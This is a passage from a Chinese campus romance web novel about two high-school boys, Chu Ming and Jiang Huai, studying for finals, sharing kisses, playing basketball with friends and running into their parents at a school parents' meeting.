“……滚蛋。”楚明凑过去用指尖捻掉他嘴角沾着的豆奶沫子,“十点多睡的,我昨天有两套题没整理完,早上就没心情睡下去。” 江淮看着他:“什么题?给我的吗?” “是。”楚明说着起身把旁边沙发上放着的书包打开,从里面抽了几张卷子和一支笔,懒得走,直接坐到沙发边上。 江淮潦草清完碗,不太喜欢豆奶留在口腔的味,进厕所刷完牙才出来。 抽了两张纸擦手,他站到楚明面前垂眼看去,上面密密麻麻地留着各种标记。 见他过来,楚明边翻看卷子边说:“题不新,都是前几年的期末考试题,考过也做过,但我觉得里面一些题你还有些重做的必要……” 他兀自说着,转着笔,时不时会在一些题上划上一小道,算是做个标记。 江淮看着:“期末而已,犯不着这么上心吧。” “习惯了,又不是什么大工程。”楚明说着给试卷翻了个面,视线扫过几道题,说着:“没几道题,我做好标记的题号你多看一会儿,能直接出答案的——” 他说着说着没了声音。 微凉的指尖抵着下巴窝,随之一股不大的力气上顶,江淮嘴角勾着笑,自上而下地垂落目光,指腹轻轻擦过他下唇,很重的一捻:“你做家教原来是这个样子。” 楚明捏紧了笔,往后退了些但没退成,江淮手指附着的力气还不小。 他轻顿:“什么样子?” “你觉得呢?”江淮看着他的眼睛,喉结滚了一下。 “……起开。”楚明转了圈笔,手心撑到沙发靠背,说:“我勾的题都考过,意味着你做过一遍改过一遍也复习过相关知识点,原则上不应该有错。原题和类题我整理在一张卷子上了,你是现在做还是?” 江淮眯了下眼:“你别转移话题。” “先答我的问题。”楚明说。 “下午做,”江淮俯得更深,距楚明的鼻尖不出毫厘,他呼吸微乱:“先吃点东西垫垫。” 楚明抬手按在他手腕,轻轻蹙眉:“你没吃早饭是不是?” “起晚了。”江淮扫了眼他的手,没多在意,视线渐渐又落回他唇间。 斟酌半秒,他另只手绕到楚明后脑勺,手指大张着扣紧,像是感受不到楚明落在胸口的手的推力,重重地压了下去。 嘴唇一温一凉,相触的瞬间江淮指尖往上顶了下,楚明很深地仰起头,在还没反应过来时唇瓣微张。 感知里江淮很轻地笑了声,笑声绽在耳畔,有些恍惚。 下一秒微湿的舌尖轻舔过,颤栗里长驱直入,撩拨似的挑逗了下他的舌尖,楚明下意识拧眉向后回缩,但随即被勾缠紧。 异样的充塞感和细密的磕绊声让脑子一阵发混,隐约间衣摆里滚进几根手指,掐紧,身体的温度本能包裹融化了那层淡淡的不容忽视的凉意。 ……极小的哼声溢出唇间,楚明吃痛地一嘶,舌根连着脑海瞬间清明过来。他眉心压着,一把扫开身边的试卷,手探扶住江淮的腰稍一用力便扳倒了他。 视线天旋地转,后脑勺磕到沙发上的抱枕往下猛地一陷,江淮蒙了半秒,下意识想起身时楚明的唇却先一步覆来,带着些急切和凶猛,本就松散的睡衣被掀起半截,温热的掌心一寸寸烙进皮肤。 …… 实在是喘不过气了,江淮提膝顶在楚明腰腹,猛地偏开头,呼吸散乱地说:“停一下。” 楚明没有回话,手指掐住他下颌往回扳来,没有丝毫停顿直接压了上去,颇为熟练地探进,与此同时手心下滑,把江淮抬起来的腿按了下去。 大中午的没拉窗帘,透进来的太阳光亮得刺眼。 “靠……”江淮闭了下眼,手胡乱地扒拉到楚明的后背,狠狠地抓了一把,听到唇间轻微的闷哼,他往下重地拍在楚明屁股,向旁边挣开,粗喘着:“先缓缓。” 楚明单手撑在他脸颊旁边,偏过头徐徐地呼出一口长气:“嗯。” 江淮绷紧的腰背松下来,他后背散漫地贴紧沙发垫,目光起伏着落在自己乱七八糟的胸膛,很轻地挑了下眉:“楚明。” “嗯?”楚明没看他,呼吸渐渐落稳。 江淮扫过他发红的耳尖,抬手,指尖轻掐住他下巴,朝自己扳来,唇角轻勾:“你学东西好快。” 楚明拍开他的手,没拍开,将就着这个姿势回答:“……一般。” 江淮笑着微微撑起上半身,指尖顺着滑到他脖颈,语气轻快:“不一般啊。” “……”楚明缓了缓,还是用力拉开了他的手,蹲下捡起地上凌乱的试卷,有一张还被踩到。 江淮轻舔了下唇角,手背遮住从窗外跳进来的光,光脚勾了下楚明的腰,轻声问道:“是不是感觉和之前的不一样?” 不一样,当然不一样。 之前再怎么亲也只是亲,这次都算得上缠绵了…… 楚明捏着试卷的手轻顿,拽住他脚踝往外放到沙发边,“你觉得呢?” 江淮彻底坐直,脚找到鞋穿进去,唇角轻勾:“我觉得挺爽的。你呢?” 楚明顿了半秒,别开眼:“薄荷味挺凉的。” “啧,”江淮笑了笑:“我出来前吃了颗。” 楚明嗯了声,坐到他旁边,把捡起来的试卷们放他手心:“做会儿吧,我准备点中午饭。” “嗯?”江淮挑了下眉,才发现已经十二点多了,他“哦”了一声,抬手接过试卷:“我不是说下午做?” 楚明看着他:“那你现在做什么,躺这儿等我端饭上桌?” 江淮笑着:“也不是不行。” “行个屁,起来做题。”楚明拍了他肩膀一下,“我话说在前面,母题做过题型类似的前提下,你要是错太多我真得骂你。” “我是谁啊,”江淮摸出来卡进沙发缝里的笔,伸了个懒腰站起来:“正确率你要百分之多少?” 楚明脱口而出:“百。” 江淮:“……” 他默了半秒:“你得先知道我是欠了一年课的。” 楚明看着他:“有什么关系?” “你牛逼,”江淮掐了把他的腰,“下次我练你篮球的时候,你命中率到不了百分百我再来问你。” 楚明:“……” 他顿了一秒,略显严肃地低眸,拉开江淮的手,半撩起衣摆,无奈地说:“你也牛逼,我迟早得被你掐死。” 江淮向他露出的一截腰看去,侧边有着几道深浅不一的掐痕,他清清嗓子:“这才哪到哪儿啊。” 楚明看着他:“你这嘴……” 江淮拉下他的衣摆,脚尖勾来随放的矮凳子,把试卷铺开,转着笔开写:“我做题了。” 楚明:“……” 他站起身,掌心轻落在他柔软的发顶,揉了揉:“你转移话题有点快啊。” “嗯哼,”江淮挑了下眉:“我是谁——” 话还没说完下唇便被叼住,楚明抚着他后脑勺,呼吸交缠里,空气也被蒸得升温,江淮迎合着仰起,厮磨间楚明的声音混乱而清晰:“……还是软点好。”—— 作者有话说:嘿嘿 [亲亲] 第66章 第 66 章 “没办法,我有要跟上的…… “炖的什么?”江淮转着笔写题, 写了会儿他停住,似乎闻到厨房飘出的香味,嗅了嗅:“好香。” 炖汤不用管, 楚明就坐在他身后的沙发里, 回答说:“就……普通排骨汤。” 再者还没炖起来,哪来的香味? 江淮点了下头,撂下笔,扭头控诉道:“我饿了。” 楚明:“……” 他微抬下巴点了点电视柜上的智能钟, “从你拿笔到现在, 最多十分钟。” “我没吃早饭,”江淮嫌矮凳坐着背不舒服,直接盘腿坐在地毯上, 他转过上半身,声音低了些:“刚还消耗挺大,怎么保证正确率?” 捕捉到某些隐晦的字眼, 楚明抿了下唇:“喝过奶吃过糖, 江淮,你的身体素质不至于。” 江淮背靠在茶几边沿,双手抱住曲起的腿, 嘴唇轻勾:“没办法, 你的汤在勾引我。” 楚明上半身微俯, “……你再幼稚点儿呢?” 江淮挑了下眉, 看着他没说话。 楚明也看着他, 嘴角轻勾,他弯腰向前,手指越过江淮的肩颈落在茶几上的试卷,刚拿到江淮就往前搂环住他脖子, 勒得很紧,跟要谋杀他似的。 “咳……”他连忙往后挣,“江淮你松点!” 江淮笑着松了点劲儿,“你不至于这么脆吧?” “反向责问,真有你的。”楚明膝盖夹扶他的上半身,抖了下手里的试卷,前探些在他耳边开口:“让我猜猜。” 江淮歪了点儿头:“嗯?” “是第七还是第八题不会?”楚明看着他的试卷。 被戳中,江淮沉默住,没再说话。 “摘的是两道选择压轴题,”楚明把题干简单扫过,轻声说着:“一道三角,一道数列,典型的余弦定理压轴考法,数列结合导数裂项问题,你……” 点到位了,江淮脑袋拱了下他脖子,以掩耳不及迅雷之速反手夺过楚明夹着的试卷,捞过笔:“我继续,你看好的锅。” 楚明把架在半空的手收回,眉眼轻弯:“不择手段啊你。” 江淮唇角勾着,在草稿纸上奋笔疾书,思绪那叫一个畅快如流水,他飞速把卡住的计算进行到底,算出答案时扭头挑眉:“你在说什么?” 楚明:“……” 他往后靠进沙发里,捞过抱枕压在怀里:“你们玩篮球的,是不是脸皮都挺厚?” “嗯,”江淮张嘴就来:“毕竟篮球是能砸脸的项目。” 楚明没憋住笑了笑:“我服了你了。” “我也佩服我自己。”江淮转了圈笔:“今晚我教你点厉害的投球技巧。” “好,”楚明说。 题的难度对江淮来说不算大,只是偶尔个别题思路没理清,算了两步就死掉了。 但在他对楚明的轮番引诱下,题目的主要考点被点明,再继续就轻松得多。 “来,”江淮手笔,把试卷放他手心:“看。” 楚明摊开试卷,题目他整理过太多遍,读到一半答案就出来了,他快速地从头扫到尾。 江淮看着他的脸:“如何?” “厉害,”楚明点了点头:“比我想象中要好一些。” 江淮看着他在试卷底部写了个漂亮的“全对”,不禁问道:“你想象中是什么样?” “得错两道,”楚明如实说:“但你走了旁门左道。” 江淮:“……” 他揽过试卷,收叠着压到茶几上,“不管,我饿了。” 楚明看了看他:“行吧,我去盛汤。” “嗯。”江淮跟上- 临近期末但似乎并不影响每周周天晚上的约球,严越那帮人总是早早就进了球场占位。 上次撞见找场子训练的赵逵逵他们,临时约在一起玩了一组对抗,之后自然而然就成了惯例。 今天也不例外。 “你们来这么早?” 赵逵逵带队进场的时候,江淮他们已经坐在长椅上。 “晚半分钟就得以大欺小赶走那群初中生了,”严越抱着球,说:“我可抢不过他们。” “有什么抢不过?”赵逵逵手指往人中一抹:“比一场,谁输谁走不就好了。” “不是,哥们,我的重心在以大欺小。”严越看着他,说。 “嗯?不然呢?以小欺大也欺负不过啊。”赵逵逵边拉伸边说。 严越:“……” 他拍拍球试球感,啧了一声:“哥们你的思想有点危险啊,我们还是要有点道德底线的,比如不能恃强凌弱。” “我操?”赵逵逵连忙摆手:“我不是这个意思啊!” “你……”严越有些无言以对,只得把球抛给他:“我们先玩,江哥他俩还在口头教学。” “教学?”赵逵逵抱住球往长椅上投去一眼,楚明抬手做了个投球姿势,而江淮则面容沉静地上手纠正他的发力点,手腕连着四根手指摸骨似的捏了个遍,他莫名感伤地说道:“我怎么就没遇到过淮淮这种老师呢?” 严越听得两眼一黑:“淮淮?” 赵逵逵回过头来:“啊,是,这是我给我兄弟的爱称。” “牛逼,”严越笑起来:“让他听到他不骂死你。” “嘿嘿,”赵逵逵自然不敢当着江淮的面喊,已经被踹过十几脚了,他摸摸鼻头:“那我们先打着。” 人数充足的情况下总是5V5来打。 鉴于江淮这位病号自我保护意识空前觉醒,他常在场外记录视频,实在看不下去谁的防守或是进攻的时候会冷淡地给出点评,比如:傻逼。 “今天怎么分?”严越问了句:“江哥!” 长期对打,两方对彼此成员的了解程度直线飙升,一般江淮会调整双方成员,试试看能不能碰撞出什么不一样的火花。 “你和赵逵逵一组,其余人手心手背自由分。”江淮说着,“楚明替两边。” “好咧!”严越喊道,把人集齐进行快速分组。 那边已经开打,这边江淮抓捏着楚明的手,平淡地看着场上的局势,拧了下眉:“等会你替下程远,他今天状态太烂。什么都不用管,给严越喂球,再注意点防守。” 程远就是那只黑皮麻雀,楚明点了下头:“好。” 出乎意料的是,严越和赵逵逵打配合还挺顺畅,一记补投简直完美! “严越擅长跳投,”江淮说,“但在空中他干不过你;赵逵逵准度不够,进攻防守三七开……” 楚明听着他这波分析,就跟听解说似的,他眉梢轻地一挑。 “上场,”江淮忽的拍了下手,起身叫停,“换个人,程远下。” “好咧!”程远抹着热汗走到长椅旁,接过江淮飞扔来的水,灌了一大口。 楚明上场之后简单跟队友交流了两句,轻拍掌便退了些步子,轻声:“加油。” “加油,”赵逵逵连忙应声。 这小半场走常规线,但打得非常漂亮! 防守太紧,没有机会进球的情况下严越选择突破背后传球,他对时机的把握很准,投掷给楚明时楚明利落接球迅速投进! 江淮轻勾了下唇,余光注意那头继续跑起来时他用空水瓶拍了下程远的肩:“昨晚熬夜熬多久?一副八百年没睡过觉的样子。” 程远放下水:“很明显吗?” “嗯,”江淮轻点头时,还不忘给负角度进球的楚明鼓掌,声音依旧冷淡:“或者遇到什么事情。不爽呢我等会让楚明给你喂点球,投进就爽了。” “谢谢江哥!”程远连忙点了下头,视线同江淮的一起落在场内。 这场球的焦点除去始终吃球收割的严越,便是无处不在随时防守掩护、补篮断球的楚明。 程远看得发愣,早前跟楚明接触的时候,他以为楚明是位专业的球员,不然也不会跟他江哥走得那么近,更别提什么场子都会带上。 但接触下来他才知道,原来楚明接触篮球只是因为中考体育考试有20分的自选项目,他恰巧选的篮球……并没有接受过专业训练,但能力却远在许多训练过很久的人之上,比如他。 现在三中还传出楚明的成绩,又高又稳;班上认识的同学还总跟他打听,好像他也因此有了更为重要的价值。 人与人之间,总是天上明月和水里月影的区别。 手里的矿泉水瓶被捏得发瘪,他无所察觉,只是视线落在江淮脸上,想找到什么答案。 “傻逼,”江淮面露不耐,能被楚明一秒突破的防守算什么防守,他轻叹气,起身拍掌:“楚明和汤麟换队。” 稍一垂眼,他问:“上不上?” 程远顿了半秒:“上……等一会儿吧。” “嗯。”江淮垂下手, 楚明换队之后,严越顿时有些不习惯的,连着两球都被盖了;汤麟没喝酒,看不出曾经红脸麻雀的任何迹象,他更偏投而非防,换队之后又争又抢。 “操,”江淮看服了,从开始到现在,在赵逵逵手里被传出去的球五球有四个球没到队友手里,“又他妈传丢了。” 程远在一旁委婉:“他可能不太擅长传球。” 江淮没答,只是看清楚明避开防守完全放开的一次传球,可惜队友没能有效进球,他很轻地说了句:“倒是有些限制他了。” 程远隐约猜到,但还是问了句:“谁啊?” “楚明,”江淮说:“或许严越在底角这记接球能进。” “哦……”程远知道他在惋惜什么,楚明几乎没有思考的转球实在是太过胆大又太过漂亮,避开防守又精准转移球权,可惜队友没能投进,而本应该把握时机进行补篮的另一位却先一步绕后。 “马上换你,准备,”江淮情绪不显,给出指令。 程远放下水:“好。” 这场球一直打到晚饭之间,期间楚明基本没下过,但放眼过去却几乎是这两队里精神头最好的。 长椅旁汤麟已经跪着在喝水,其余人也是衣服汗湿透,大冬天的被冷风刮得瑟瑟发抖。 “刚预订了,”江淮用一次性毛巾给楚明擦了擦脸,又把才买的温过的水丢给其余人,“走去吃饭。” “好的江哥!”严越累得不行,那头赵逵逵后小半场是下场歇着的,他连忙走过去借他的力走。 “我操,你不行啊。”赵逵逵嘿嘿笑着:“你喝不喝水?” “他不喝,”江淮提了一嘴,“或者你想他拉你身上你就喂。” 严越:“……”就是这么给兄弟两肋插刀的! 赵逵逵:“……” 饭店离得并不远,鉴于一个两个累得要死,今天江淮点的菜比较多。 但没过三两分钟半桌菜都见鬼了。 江淮:“……” 上菜前忧心忡忡从哪个犄角旮旯放菜的服务员:!~( ̄▽ ̄~)~ 收走半桌餐盘,菜摆上,有种进入循环的错觉。 “有必要提醒一句,”江淮盛了碗汤给楚明,“今晚好好拉伸,明天痛死几个我都不负责。” “好的江哥!”饭桌上异口同声。 “嗯,”江淮没多言,在大家吃得差不多的时候交代了句:“下下周期末考,约球就算了。” “嗯?!”严越震惊地瞳孔乱飞:“哥们你不是宁死不屈吗?小小期末居然拿捏住你了!” 江淮白了他一眼:“我说你们。” “哦,哦,哦,”赵逵逵点头:“也是哈,不考个好成绩回家过年得被说死,我妈以后还让不让我打球都难说。” “好吧,也是,江哥现在成绩不是飞速进步吗?”汤麟说,“我还以为我和江哥志趣相投都不愿意做学习的奴隶,结果……世界上最大的背刺就是你快快乐乐当学渣的时候,你的哥们冲进了年级前十。” “哈哈哈哈……”严越笑道:“就你当真了!” 江淮淡淡地摇头:“没办法,我有要跟上的人。” 楚明暗暗地勾了下唇,把热汤慢慢送进嘴里。 “啥?”吃饱喝足汤麟有点空耳:“江哥你有要上的人?” 全场寂然。 但江淮在乱接话诋毁自己形象方面好像具有先天优势,微微一笑:“是啊。” 楚明:“……” 严越被一口冬枣呛得差点需要上海姆立克急救法!连忙把残核吐出去,要命地拍着桌子。 楚明看了他一眼,帮他倒了半杯水,递上去:“缓缓。” “我服了你们这群溏心蛋了,”赵逵逵瘪瘪嘴:“黄得要死!我都要被你们污染了!” 严越带头向他投去打量的目光,“你确定你纯洁?” 赵逵逵腼腆地垂下脑袋:“嘿嘿……” 一场乌龙结束在江淮扔在桌面的手机屏幕上,里面是几份视频。 还没开场就听到一句“傻逼”。 严越觉得这点评简直贴切:“笑死我了,赵逵逵你这颗球小学生来了都得竖小拇指。” 赵逵逵无中生谎:“冬天太冷没手感,也不能完全怪我。” 只是前小半场,在场几位全被江淮突然冒出的小句点评创到,习以为常地笑成一团。 直到视频里开始出现楚明,接连三四句都是“漂亮!”光听语气甚至能想象到江淮说话时嘴角是勾着的。 “原来江哥的字典里还有这两个字。”汤麟双手托腮,啧啧道。 严越微妙地笑着:“也不看看是谁在打。” 楚明笑了笑,手指轻敲了下江淮的手背:“谢谢。” “实话而已,”江淮说。 在来的路上江淮便对一些无关紧要的节点剪切过,这会儿看过的更像是片段集锦,简单的点评和总结之后就在冬夜里各走各道各回各家。 楚明去江淮家里收东西,把书包里空着的试卷放茶几上,说:“做。” 江淮看魔鬼似的看着他:“现在?” “嗯,”楚明不觉得有什么不妥,“我从秦苗那拿的题,觉得还不错,想让你做做。” 江淮:“……” 他无奈地坐下,拔出笔帽,两笔勾了自己的名字后写题,莫名其妙想回到汤麟说他的时候答一句:因为有人管着啊!—— 作者有话说:好的,两只麻雀终于有名字了[眼镜] 第67章 第 67 章 “你笑起来确实好看。”…… 试卷难度非常大, 其一是作为某重高尖子班的专训题,其二是运算量和题目综合性过于强。 江淮做得脑子发空,高度集中精力和难题导致的情绪波动让他做到后半期不自觉地脸上飘红。 楚明时不时看他一眼, 起身给他倒了杯温水放旁边, 目光淡淡从他脸颊滑过时,没忍住轻轻一笑。 “笑什么?”江淮单手托腮,狼狈地现推了两个公式,缓缓呼出一口气。 “挺厉害的, ”楚明看他进度挺快, 选择题卡在11题,往前把12题做完又回来继续卡着。他轻声提了一嘴:“半分参问题。” 江淮指尖挑起笔疲累地转了一圈:“嗯,” “填空做完休息吧, ”楚明没控制住自己,指尖轻轻划过他脸颊,不容忽视的体温和皮肤的柔软化在指腹, 他微怔, “好烫。” “废话,”江淮脑袋偏了些,拱开他的手:“这题难死了。” “我知道, ”楚明跪坐到他旁边, 小声地说:“秦苗说他们数学老师偷到题的时候, 做了整整一晚上, 为了掩饰被击溃的泪痕还特意化了妆去遮, 卡粉太严重被她课代表说像鬼。” 江淮笑了笑,用微凉的手背贴着自己的脸颊,试图降温。 “而且即使是尖子班,平均分也才三十多, ”楚明笑着,“你已经过线了。” 江淮:“……” 他扭过头,伸手掐住楚明的脸,手感不错他多捏了两下:“怎么,你对我的要求只是过平均分的线?” 楚明被掐着说不出话,抬手把住他手腕往外拽了些,才说:“你简直了。” “简直什么?”江淮挑了下眉,等他的后话。 楚明:“……” 他轻叹了声气,迂回地说:“快做吧,我的要求高着呢!” 江淮转回去:“这才对嘛。” “你……”楚明欲言又止,忽的问道:“你篮球教练是不是很幸福?” “嗯?”江淮被点过思路,稍作梳理就进到运算阶段,他回忆了半秒:“还行吧,挺爱笑的。” 楚明轻顿:这是什么幸福指标。 他说:“我是说,教你的时候。” “不知道,”江淮回答得挺果断:“如果他是个s,或许吧,总有机会骂我。” 楚明:“……” 他无语了一瞬:“算了,你继续做题。” 方才他脑子里想的是江淮过高的自我要求,在竞技体育里或许挺适用吧,教练还没说什么呢,江淮估计都已经把目标设到单场得分30+…… 想着他笑了笑,见江淮又进到做题状态,他往后,脊背抵靠着沙发,把之前响了两声的手机摸出来看。 【秦苗】小楚哥,你们什么时候期末考试啊?放多久的假呢?你过年期间要歇多久? 【秦苗】我是想,如果时间充裕,你可以白天来,晚上还是太冷了,当然更多看你的意见。 楚明盯着信息里的“过年”看了一会儿,很淡地笑了笑。 【Cming】具体不清楚,依你的时间来。 前几天过完元旦,日历更新,距离高考不到六个月,秦苗兄妹俩这个寒假估计也就一周左右。 他倒是完全能将就她的时间。 【秦苗】嗯嗯嗯嗯。 【秦苗】那你早点休息,我去准备一诊了。 聊天自然收尾,楚明抬头时江淮还在埋头写题。 客厅里开着空调,虽说窗户敞开着,但闷人,江淮两只耳垂被闷得泛出红色。 他往前微微探身,注意到江淮试卷已经翻面,按开做的时间来看,做完选择填空都快四十五分钟了,平时江淮三十五六分钟就能完成……难度确实有影响。 他坐回去,望着天花板发了会儿呆,他有所预感地给手机切了个账号。 果不其然,家长群里有消息。 【班主任马海】各位家长朋友们大家好,这学期的学习基本进入尾声,学期末将于8、9号统一进行期末考试,年级办。 【班主任马海】希望各位家长朋友监督孩子认真学习好好复习,争取考出好成绩〔抱拳〕另外,预计15号早十点出成绩,届时会在15日下午5点左右召开家长会,望所有家长按时参加〔握手〕@所有人 楚明熟练地按出输入框,编辑了一条请假事由,咂摸了两秒是否符合家长语气,才点击发送。 【班主任马海】好的〔ok〕到时我会单独跟您说明楚明的学习情况@楚明爸爸 “啧,”不知为何看着自己的昵称楚明有些想笑,跟玩角色扮演似的,隔着一道屏幕毕恭毕敬虚与委蛇,他现在是一名忧心孩子学习但为家庭奔波脱不了身的苦命父亲,大马猴也是位尽职尽责的班主任…… 像是被戳中笑点,他窝躺进沙发里,兀自笑着。 “你干嘛呢?”江淮扭过头来,捧着玻璃杯正喝着水,微微垂眼看着他的脸:“我又犯什么低级错误了吗?” “没,”楚明坐起来,伸手:“给我喝一口。” “不要,”江淮摇了下头:“你先说你在笑什么?” “我……”楚明也说不清自己在笑什么,只是感叹人真是奇怪的物种,隔着点什么,就能变一个人似的。“你有过伪装成你爸妈的时候吗?” “没有,”江淮咬着杯沿,微松了些说:“我只当我自己。” “?”楚明不得不提出反驳:“比如回执单这种东西,家长签字你没模仿过?” “不模仿,”江淮说,“问就是同名同姓。” 楚明:“……” 他想了想画面,小江淮还用铅笔的时候在家长签字那栏写江淮,不禁觉得还挺……可爱的。 他没忍住又笑了笑。 江淮克制着没把水一口喝光,留了些给他:“你又笑什么?” 楚明说:“笑你。” 好吧,现在楚明成功把第一个问题避开了,江淮也懒得再问一遍,把玻璃杯递到他嘴边,见他垂下头来喝时说:“你笑起来确实好看。” 楚明托着他的手腕往上抬了些,两口含走所有的水:“……嗯?” “这大概是我第一次完全认可我妈的话。”江淮说。 楚明:“……” 他都不敢想吴珊养江淮这些年得多乱七八糟,估计就跟太后压制小皇帝似的,偏偏小皇帝硬气,都能光明正大派人来烧了听政用的垂帘那种。 短暂喝水休息的时候江淮看了眼手机。 四十多分钟前,【我俏丽吗】群里,江淮贱兮兮地把自己正做的这套题甩进群聊里,所谓有难同当,并附了句: 【狗】十题九考,期末题,爱做不做。 几乎是消息发出的同时,底下就一群拥护者放炮放烟花,“做做做”跟兵似的开始列阵。 这会儿却跟吃完饲料胀地嗝屁了的死鱼一样,良久才有人回。 【阿越】wc,江哥!你知道我做这套题死了多少脑细胞吗? 【阿越】比我tm射一次死的子孙还多! 群聊里鸦雀无声,连江淮都罕见地沉默了半秒。 楚明凑到他身后,从容地投去一瞥,又默默地移向江淮标记颇多的试卷。 【吹我犯规者亡】我刚想说越哥用英文说脏话开始变文明了,结果是黄脑子接替了脏脑子。 【小狼狗】小心等会群被封了。 【吹我犯规者亡】有伤风化,建议撤回。 【三分神】有伤风化,建议撤回。 …… 江淮转了圈笔,微微后撤,瞥了眼楚明,用笔尾巴轻轻戳了下他的脸颊,见凹进去个小窝,小声地说了句:“你是不是脸红了?” “没,”楚明两指捏住他的笔:“只是觉得话有点糙。” 江淮笑了笑,把笔抽回:“是糙,来陪我做题清心。” “嗯,”楚明滑下来坐到他旁边- 事实证明,期末考试还是有些威慑力的。 整个高二楼层下课期间出来的人少之又少,教室里像安了磁铁,但凡是个学生出来前都得对抗挣扎两秒。 跑操也暂时作罢,空出来的时间用于文科班学生背书、理科班学生做题,学习氛围史无前例的浓厚。 ……几天的复习时间飞逝而过,期末考试按照高考时间进行,才放完一天就开始寒假补课,哀声连天。 怀着对出成绩的复杂之情,全班同学像信徒望着神明一般,眨眼不错地盯着刘明宇手执成绩单站上讲台。 班级秩序从未如此良好过。 “呃……”刘明宇卡壳了,拿着成绩单进行投屏,把黑板拉开时说:“自己看吧。” 江淮随意往讲台扫了一眼,鉴于屏幕大小只能看到总分班排年排市排,成绩比他预料中要好一些,他偏头,在一声声倒吸凉气中轻声问了句:“下午你家长来吗?” “不来,”楚明淡淡收回视线,说完补充了句:“他们挺忙。” ……原来还健在。江淮松了口气:“哦。” 楚明看了他一眼:“怎么?” “没,”江淮指尖勾转着笔,“赵逵逵说一般家长会的时候自由活动,他问我们要不要打羽毛球。” “可以打,”楚明说。 江淮点了点头:“嗯,好。” 八中初高中部各占两栋楼,这个时间点除去毕业级,只剩其余年级重点班还在补课。 人少了大半,似乎抢饭都不再是固定项目。 “下午你们先去占场子,”赵逵逵边吃边说:“我得去负责给家长们带路,还要端茶倒水安排位置什么的,估计得晚半小时才下来。” “嗯,”江淮说:“球拍去借还是?” “棉棉和喇叭哥各有一副,”赵逵逵眼睛亮了些:“你们可以先玩不下场双打。” “好,”江淮碰着汤碗喝了点,想起什么,他朝赵逵逵勾了下手。 赵逵逵立马把耳朵凑过来。 楚明余光瞥见他们动作,起身去窗口处拿了个汤勺。 见他们恢复原本的坐姿,他才慢慢走回来,搅了搅已经偏凉的汤。 在期待和紧张里挣扎着上完三节课,已经有家长等在教室外走廊,时不时跳起来从窗玻璃往里探头,给上课的卫疏都吓了一跳,连忙说:“哎,你们什么时候才能有这么高的求知欲!” 她话一落,一堆脑袋便望向窗户。 “我操,那是我妈……”不知道从哪冒出很小的声音,引得教室一阵哄然笑意。 晚些时候下课由学生领着家长进教室,大马猴鲜少动学生位置,便把开学时拍的那张座位图丢在群里。 乱成一片的时候,江淮拽住楚明的手:“走,占位。” “嗯,”楚明习惯性手里握只笔,他边跟着江淮往外快速走边问了句:“不等你妈吗?” “她有眼睛有脑子我等她干嘛?”江淮绕出后门,“位置我说过。” 楚明轻点头:“好。” 楼道间上上下下的都是家长,还有带小孩儿来的,让同学帮忙照看,于是出现一堆校服围着孩子遛的盛况。 “在这,”江淮找到墙角放着的两套羽毛球拍,“跟我要一对?” “行啊,”楚明不挑:“快点,我看到有人往场地跑了。” “没事,”江淮不慌不忙地直起身抓进楚明的手腕便跑,完全不忧心后者跟不跟得上,“大不了打跑他们。” 楚明笑着跟上:“又不是篮球。” 在人流里跑楼梯确实不太方便,前方大半部分视野尽数被江淮遮住,楚明只是留意着脚下的阶梯以防摔到,跑到一楼进入平道,他被带着冲出转角。 冥冥中有股牵引力似的,楚明往旁边看了眼,瞳孔瞬间缩紧,他怔愣地别开眼,脑子像炸成碎片乱成一锅粥,回过神时他险些被自己的两条腿绊倒。 “怎么?”江淮拉了他一把。 “没,”楚明面上表情如常地说:“踩到鞋带了。” 江淮往下扫了眼:“先系。” 见楚明蹲下,他微微歪头朝转角看去,刚刚擦身而过的是一对夫妇,应该吧,男人手上还牵着个女生。 江淮垂眼,鞋尖点了下楚明手背:“认识啊?” 没想到江淮注意到了,楚明顿了半秒:“嗯。” 江淮抓住他小臂把他拉起来:“谁啊?” 楚明没准备谎言,直接说:“我爸妈。” “操,”江淮愣了,连忙拉住他往回跑:“糟了!” 楚明:? 不知道江淮突然的紧张是因为什么,楚明跟着他飞奔往21班去,不禁问道:“怎么了?” 江淮言简意赅:“我爸妈也来了。” 不懂这话有什么深层次含义,楚明微愣:“那有什么?” 一直跑到后门,屋里大部分家长已经坐齐,教室里仅有小小的嗡闹声,明显是克制着在交流。 楚明呼吸不太平稳地起伏着,目光淡淡越过江淮的肩线望向后排站着的两个人,顿时僵住。 他知道为什么“糟了”—— 作者有话说:【吹我犯规者亡】是汤麟; 【三分神】程远 另外祝大家中秋节快乐! 有吃到好吃的月饼的话可以分享给我吗[让我康康] 第68章 第 68 章 “我猜他们在一起。”…… “不好意思家长, 这是我家孩子的座位。”吴珊镇定地说着。 “嗯?”化着淡妆、唯有红唇鲜艳的女人拧了下眉,“家长你搞错了。” 吴珊呵了一声,弯腰从桌肚里随手抽出一本教材, 拉开封面挪到她面前:“你确定?” 女人朝下看了眼, 上面赫然写的是:楚明。 她也呵了一声:“家长你出门不带眼睛吗?” 吴珊轻顿,垂下眼看看上面的名字,不可思议地弯腰重新掏了一本。这次是江淮那个傻逼的了,她再抽一本, 还是江淮, 她得意地双手抱胸:“2:1,这是我家孩子的座位,亲。” 女人长相偏凌厉, 蹙眉时带着想杀人的躁意,她说:“我按班主任发的位置来的。” “哦那找班主任好了,”吴珊扭头就举手, 没管一众往后看来的家长和对此目瞪口呆的学生, 直言:“马老师,有点问题。” 大马猴:“……” 他微笑,视线潦草带过她们身旁靠墙而站的两个男人, 连忙走下来:“家长有什么问题?” “位置, ”女人抬眼:“楚明坐哪?” 吴珊听得一愣, 打量似的看着她, 她也正大光明地回视, 嘴里哼出一声笑:“另外江淮是女生吗?” 吴珊:“……” 大马猴:“……” 他连忙解释:“不好意思,楚明坐里面江淮坐这里,位置图没及时更新是我的问题,另外江淮是男生。家长们还有问题吗?” “没了, ”女人把椅子推进去,往里去坐下,“谢谢。” 吴珊后知后觉地坐下:“谢谢。”余光带过始终端站着的江竞先:“出去吧,没你位了。” 江竞先:“……” 他目光微微转开,打量似的看了眼身边的男人,套着身灰色大衣,长相格外出挑,只是始终垂着头存在感很低,他温馨提醒道:“你要不要一起走?” “嗯?”男人顿了下,他本能地向里探去目光,得到一个白眼后埋着头便往外走。 “外面有座椅可以歇息,家长会一个多小时,累了可以去食堂吃点东西。”大马猴交代完,含着笑回去,快速奔上讲台转移其他家长的注意,说:“家长朋友们……” 后门口,江淮愣了半秒,把楚明往外拉出些许,小声:“什么口角?” “位置,”楚明也小声。 “牛逼,”江淮无奈地说:“走,不管她们。” “嗯,”楚明退出两步,情绪不算太高。 才刚走远两步,身后江竞先和那个男人就一前一后出来,江竞先喊了句:“小淮。” “干嘛?”江淮停下脚步看他:“厕所自己找。” 江竞先:“……” 